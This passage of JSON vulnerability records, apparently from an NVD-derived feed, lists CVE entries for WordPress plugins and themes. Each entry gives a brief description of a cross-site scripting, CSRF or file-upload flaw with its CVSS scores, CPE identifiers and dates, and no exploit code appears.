"privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-05-08T15:15:00", "type": "cve", "title": "CVE-2022-47437", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-47437"], "modified": "2023-05-11T18:29:00", "cpe": ["cpe:/a:wsb_brands_project:wsb_brands:1.1.8"], "id": "CVE-2022-47437", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-47437", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:wsb_brands_project:wsb_brands:1.1.8:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-07-23T23:37:52", "description": "Auth. (contributor+) Stored Cross-Site Scripting (XSS) vulnerability in Surbma Surbma | GDPR Proof Cookie Consent & Notice Bar plugin <=\u00a017.5.3 versions.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-05-08T22:15:00", "type": "cve", "title": "CVE-2023-23894", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.9, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-23894"], "modified": "2023-05-11T19:08:00", "cpe": [], "id": "CVE-2023-23894", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-23894", "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}, "cpe23": []}, {"lastseen": "2023-07-24T02:10:41", "description": "Auth. (contributor+) Stored Cross-site Scripting (XSS) vulnerability in RoboSoft Photo Gallery, Images, Slider in Rbs Image Gallery plugin <= 3.2.12 versions.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-04-07T14:15:00", "type": "cve", "title": "CVE-2023-27620", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.9, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-27620"], "modified": "2023-04-13T12:57:00", "cpe": [], "id": "CVE-2023-27620", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-27620", "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}, "cpe23": []}, {"lastseen": "2023-07-24T00:29:10", "description": "Cross-Site Request Forgery (CSRF) vulnerability in Amit Agarwal Google XML Sitemap for Videos plugin <=\u00a02.6.1 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-06-15T14:15:00", "type": "cve", "title": "CVE-2023-25055", "cwe": ["CWE-352"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-25055"], "modified": "2023-06-22T16:59:00", "cpe": ["cpe:/a:digitalinspiration:google_xml_sitemap_for_videos:2.6.1"], "id": "CVE-2023-25055", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-25055", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:digitalinspiration:google_xml_sitemap_for_videos:2.6.1:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-07-23T23:57:11", "description": "Cross-Site Request Forgery (CSRF) vulnerability in Scott Paterson Contact Form 7 Redirect & Thank You Page plugin <=\u00a01.0.3 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-07-10T16:15:00", "type": "cve", "title": "CVE-2023-24395", "cwe": ["CWE-352"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-24395"], "modified": "2023-07-13T00:09:00", "cpe": [], "id": "CVE-2023-24395", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-24395", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": []}, {"lastseen": "2023-07-23T23:31:00", "description": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), Unrestricted Upload of File with Dangerous Type vulnerability in Awsm Innovations Embed Any Document \u2013 Embed PDF, Word, PowerPoint and Excel Files allows Stored XSS via upload of SVG and HTML files. This issue affects Embed Any Document \u2013 Embed PDF, Word, PowerPoint and Excel Files plugin <= 2.7.1 versions.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-23T17:15:00", "type": "cve", "title": "CVE-2023-23707", "cwe": ["CWE-79", "CWE-434"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.9, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-23707"], "modified": "2023-03-27T17:50:00", "cpe": ["cpe:/a:awsm:embed_any_document:2.7.1"], "id": "CVE-2023-23707", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-23707", "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:awsm:embed_any_document:2.7.1:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-06-08T15:10:33", "description": "Cross-Site Request Forgery (CSRF) vulnerability in Marty Thornley Bulk Resize Media plugin <=\u00a01.1 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-05-25T09:15:00", "type": "cve", "title": "CVE-2022-46865", "cwe": ["CWE-352"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-46865"], "modified": "2023-05-31T19:17:00", "cpe": ["cpe:/a:bulk_resize_media_project:bulk_resize_media:1.1"], "id": "CVE-2022-46865", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-46865", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:bulk_resize_media_project:bulk_resize_media:1.1:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-07-24T02:39:43", "description": "Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in Aakif Kadiwala Tags Cloud Manager plugin <=\u00a01.0.0 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-06-22T09:15:00", "type": "cve", "title": "CVE-2023-28166", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-28166"], "modified": "2023-06-28T03:27:00", "cpe": ["cpe:/a:tags_cloud_manager_project:tags_cloud_manager:1.0.0"], "id": "CVE-2023-28166", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-28166", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:tags_cloud_manager_project:tags_cloud_manager:1.0.0:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-07-24T02:55:28", "description": "Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in SMTP2GO \u2013 Email Made Easy plugin <=\u00a01.4.2 versions.", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-06-22T09:15:00", "type": "cve", "title": "CVE-2023-28496", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-28496"], "modified": "2023-06-28T07:08:00", "cpe": ["cpe:/a:smtp2go:smtp2go:1.4.2"], "id": "CVE-2023-28496", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-28496", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:smtp2go:smtp2go:1.4.2:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-07-23T23:57:53", "description": "Auth. (contributor+) Stored Cross-Site Scripting (XSS) vulnerability in Ecwid Ecommerce Ecwid Ecommerce Shopping Cart plugin <=\u00a06.11.4 versions.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-05-08T15:15:00", "type": "cve", "title": "CVE-2023-24408", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.9, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-24408"], "modified": "2023-05-11T19:01:00", "cpe": [], "id": "CVE-2023-24408", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-24408", "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}, "cpe23": []}, {"lastseen": "2023-07-24T02:51:20", "description": "Auth. (subscriber+) Reflected Cross-Site Scripting (XSS) vulnerability in Yudlee themes Mediciti Lite theme <=\u00a01.3.0 versions.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-06-22T13:15:00", "type": "cve", "title": "CVE-2023-28418", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.9, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-28418"], "modified": "2023-06-28T07:17:00", "cpe": ["cpe:/a:mediciti_lite_project:mediciti_lite:1.3.0"], "id": "CVE-2023-28418", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-28418", "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:mediciti_lite_project:mediciti_lite:1.3.0:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-07-22T22:44:17", "description": "Cross-Site Request Forgery (CSRF) vulnerability in MageNet Website Monetization by MageNet plugin <=\u00a01.0.29.1 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-07-10T16:15:00", "type": "cve", "title": "CVE-2023-22673", "cwe": ["CWE-352"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-22673"], "modified": "2023-07-13T18:50:00", "cpe": ["cpe:/a:magenet:website_monetization:1.0.29.1"], "id": "CVE-2023-22673", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-22673", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:magenet:website_monetization:1.0.29.1:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-07-24T02:56:54", "description": "Auth. (subscriber+) Stored Cross-Site Scripting (XSS) vulnerability in WP Job Portal WP Job Portal \u2013 A Complete Job Board plugin <=\u00a02.0.0 versions.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-06-22T09:15:00", "type": "cve", "title": "CVE-2023-28534", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.9, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-28534"], "modified": "2023-06-28T07:09:00", "cpe": ["cpe:/a:wpjobportal:wp_job_portal:2.0.0"], "id": "CVE-2023-28534", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-28534", "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:wpjobportal:wp_job_portal:2.0.0:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-06-03T15:11:57", "description": "Auth. (subscriber+) Stored Cross-Site Scripting (XSS) vulnerability in Martin Lees Exxp plugin <=\u00a02.6.8 versions.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-05-08T13:15:00", "type": "cve", "title": "CVE-2022-45812", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.9, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-45812"], "modified": "2023-05-10T02:25:00", "cpe": ["cpe:/a:exxp_project:exxp:2.6.8"], "id": "CVE-2022-45812", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-45812", "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:exxp_project:exxp:2.6.8:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-06-03T15:14:38", "description": "Reflected Cross-Site Scripting (XSS) vulnerability in Tussendoor internet & marketing Open RDW kenteken voertuiginformatie plugin <= 2.0.14 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-23T12:15:00", "type": "cve", "title": "CVE-2022-47431", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-47431"], "modified": "2023-03-27T17:03:00", "cpe": [], "id": "CVE-2022-47431", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-47431", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}, "cpe23": []}, {"lastseen": "2023-07-24T02:37:51", "description": "Auth. (subscriber+) Stored Cross-Site Scripting (XSS) vulnerability in WP Chill Brilliance theme <=\u00a01.3.1 versions.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-06-22T09:15:00", "type": "cve", "title": "CVE-2023-28171", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.9, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-28171"], "modified": "2023-06-28T03:26:00", "cpe": ["cpe:/a:wpchill:brilliance:1.3.1"], "id": "CVE-2023-28171", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-28171", "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:wpchill:brilliance:1.3.1:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-05-15T20:32:58", "description": "This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.", "cvss3": {}, "published": "2023-05-15T20:32:58", "type": "cve", "title": "CVE-2022-44626", "cwe": [], "bulletinFamily": "NVD", "cvss2": {}, "cvelist": ["CVE-2022-44626"], "modified": "2023-05-15T20:32:58", "cpe": [], "id": "CVE-2022-44626", "href": "", "cvss": {}, "cpe23": []}, {"lastseen": "2023-07-24T00:41:48", "description": "Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Michael Pretty (prettyboymp) CMS Press plugin <=\u00a00.2.3 versions.", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-05-08T13:15:00", "type": "cve", "title": "CVE-2023-25452", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-25452"], "modified": "2023-05-10T02:26:00", "cpe": ["cpe:/a:cms_press_project:cms_press:0.2.3"], "id": "CVE-2023-25452", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-25452", "cvss": {"score": 4.3, "vector": 